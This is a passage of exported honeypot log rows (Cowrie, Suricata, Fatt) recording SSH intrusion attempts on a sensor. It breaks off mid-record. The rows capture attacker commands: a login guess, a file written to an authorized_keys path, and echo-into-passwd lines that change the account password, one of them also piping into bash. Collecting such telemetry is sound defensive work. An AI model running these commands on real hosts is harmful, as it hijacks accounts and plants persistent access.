28648	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:01.415832+03	2021-09-20 14:30:03.11354+03	{"_id": "YAbvAnwBvYTbRNuELzAQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "src_ip": "117.22.230.94", "eventid": "cowrie.session.file_download", "message": "Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "outfile": "dl/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2", "session": "2606c7026a3f", "@version": "1", "destfile": "/home/antonio/.ssh/authorized_keys", "duplicate": true, "timestamp": "2021-09-20T11:20:01.415832Z", "@timestamp": "2021-09-20T11:20:01.415Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.file_download	\N	known attacker	\N
28649	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:02.388863+03	2021-09-20 14:30:03.115553+03	{"_id": "ZgbvAnwBvYTbRNuEMjD5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "src_ip": "117.22.230.94", "ttylog": "log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0 seconds", "session": "2606c7026a3f", "@version": "1", "duration": 0.5522193908691406, "duplicate": true, "timestamp": "2021-09-20T11:20:02.388863Z", "@timestamp": "2021-09-20T11:20:02.388Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
28650	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:03.754875+03	2021-09-20 14:30:03.116557+03	{"_id": "awbvAnwBvYTbRNuENjDi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.params", "message": [], "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:03.754875Z", "@timestamp": "2021-09-20T11:20:03.754Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28651	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:03.755418+03	2021-09-20 14:30:03.117554+03	{"_id": "bAbvAnwBvYTbRNuENjDi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "echo \\"123456\\\\n9mJ3LQgFBtoy\\\\n9mJ3LQgFBtoy\\\\n\\"|passwd", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.command.input", "message": "CMD: echo \\"123456\\\\n9mJ3LQgFBtoy\\\\n9mJ3LQgFBtoy\\\\n\\"|passwd", "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:03.755418Z", "@timestamp": "2021-09-20T11:20:03.755Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28652	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:19:59.199613+03	2021-09-20 14:30:03.118556+03	{"_id": "XAbvAnwBvYTbRNuEJzA-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.login.failed", "message": "login attempt [knockknockwhosthere/knockknockwhosthere] failed", "session": "b8891d9b8f28", "@version": "1", "password": "knockknockwhosthere", "username": "knockknockwhosthere", "timestamp": "2021-09-20T11:19:59.199613Z", "@timestamp": "2021-09-20T11:19:59.199Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
28653	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:00.863175+03	2021-09-20 14:30:03.120525+03	{"_id": "XwbvAnwBvYTbRNuEKzAn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.params", "message": [], "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:00.863175Z", "@timestamp": "2021-09-20T11:20:00.863Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28654	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:01.418956+03	2021-09-20 14:30:03.121554+03	{"_id": "YgbvAnwBvYTbRNuELzAQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 107, "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "src_ip": "117.22.230.94", "ttylog": "log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0 seconds", "session": "2606c7026a3f", "@version": "1", "duration": 0.5558629035949707, "duplicate": true, "timestamp": "2021-09-20T11:20:01.418956Z", "@timestamp": "2021-09-20T11:20:01.418Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
28655	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:01.836726+03	2021-09-20 14:30:03.122554+03	{"_id": "YwbvAnwBvYTbRNuELzAQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.params", "message": [], "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:01.836726Z", "@timestamp": "2021-09-20T11:20:01.836Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28656	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:02.783508+03	2021-09-20 14:30:03.123554+03	{"_id": "ZQbvAnwBvYTbRNuEMjD5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-hppa64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.params", "message": [], "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:02.783508Z", "@timestamp": "2021-09-20T11:20:02.783Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
28657	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:02.784063+03	2021-09-20 14:30:03.124554+03	{"_id": "ZwbvAnwBvYTbRNuEMjD5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "echo -e \\"123456\\\\n9mJ3LQgFBtoy\\\\n9mJ3LQgFBtoy\\"|passwd|bash", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.command.input", "message": "CMD: echo -e \\"123456\\\\n9mJ3LQgFBtoy\\\\n9mJ3LQgFBtoy\\"|passwd|bash", "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:02.784063Z", "@timestamp": "2021-09-20T11:20:02.784Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28658	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:02.784885+03	2021-09-20 14:30:03.125552+03	{"_id": "aAbvAnwBvYTbRNuEMjD5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "Enter new UNIX password: ", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.command.input", "message": "CMD: Enter new UNIX password: ", "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:02.784885Z", "@timestamp": "2021-09-20T11:20:02.784Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28659	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:02.785633+03	2021-09-20 14:30:03.127554+03	{"_id": "aQbvAnwBvYTbRNuEMjD5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "Enter new UNIX password:", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.command.failed", "message": "Command not found: Enter new UNIX password:", "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:02.785633Z", "@timestamp": "2021-09-20T11:20:02.785Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.failed	\N	known attacker	\N
28660	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:03.337075+03	2021-09-20 14:30:03.128523+03	{"_id": "agbvAnwBvYTbRNuENjDi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 32, "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "659d75d9dba1604f3222ed0cb1bd30a92c3c1293c597c4ca24b02fbf89641973", "src_ip": "117.22.230.94", "ttylog": "log/tty/659d75d9dba1604f3222ed0cb1bd30a92c3c1293c597c4ca24b02fbf89641973", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/659d75d9dba1604f3222ed0cb1bd30a92c3c1293c597c4ca24b02fbf89641973 after 0 seconds", "session": "2606c7026a3f", "@version": "1", "duration": 0.5536458492279053, "duplicate": false, "timestamp": "2021-09-20T11:20:03.337075Z", "@timestamp": "2021-09-20T11:20:03.337Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
28661	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:00.48177+03	2021-09-20 14:30:03.129523+03	{"_id": "XgbvAnwBvYTbRNuEKzAn", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "b8891d9b8f28", "@version": "1", "duration": 2.7648062705993652, "timestamp": "2021-09-20T11:20:00.481770Z", "@timestamp": "2021-09-20T11:20:00.481Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
28662	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:20:01.837275+03	2021-09-20 14:30:03.130556+03	{"_id": "YQbvAnwBvYTbRNuELzAQ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | wc -l", "session": "2606c7026a3f", "@version": "1", "timestamp": "2021-09-20T11:20:01.837275Z", "@timestamp": "2021-09-20T11:20:01.837Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
28663	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:19:12.594859+03	2021-09-20 14:30:03.131553+03	{"_id": "pwbuAnwBvYTbRNuEby-K", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 123.126.106.88:48334 (192.168.176.2:22) [session: 80d1e92edd65]", "session": "80d1e92edd65", "@version": "1", "protocol": "ssh", "src_port": 48334, "dest_port": 22, "timestamp": "2021-09-20T11:19:12.594859Z", "@timestamp": "2021-09-20T11:19:12.594Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
28664	123.126.106.88	109.199.241.180	Cowrie	2021-09-20 14:19:12.59797+03	2021-09-20 14:30:03.132551+03	{"_id": "qQbuAnwBvYTbRNuEby-M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.126.106.88", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "80d1e92edd65", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:19:12.597970Z", "@timestamp": "2021-09-20T11:19:12.597Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
28665	123.126.106.88	109.199.241.180	Suricata	2021-09-20 14:19:12.977652+03	2021-09-20 14:30:03.133553+03	{"_id": "qgbuAnwBvYTbRNuEcS9J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "123.126.106.88", "dest_ip": "192.168.20.116", "flow_id": 1876962686549561, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 48334, "dest_port": 22, "timestamp": "2021-09-20T11:19:12.977652Z", "@timestamp": "2021-09-20T11:19:12.977Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
28666	123.126.106.88	109.199.241.180	Fatt	2021-09-20 14:19:12.977891+03	2021-09-20 14:30:03.134524+03	{"_id": "rQbuAnwBvYTbRNuEci-M", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "123.126.106.88", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 48334, "dest_port": 22, "timestamp": "2021-09-20T11:19:12.977891", "@timestamp": "2021-09-20T11:19:12.977Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
28667	1.117.219.217	109.199.241.180	Suricata	2021-09-20 14:19:14.319972+03	2021-09-20 14:30:03.136523+03	{"_id": "tAbuAnwBvYTbRNuEdS8y", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:19:13.802204+0000", "pkts_toclient": 4, "pkts_toserver": 5, "bytes_toclient": 887, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "1.117.219.217", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "1.117.219.217", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 844063854116252, "payload": 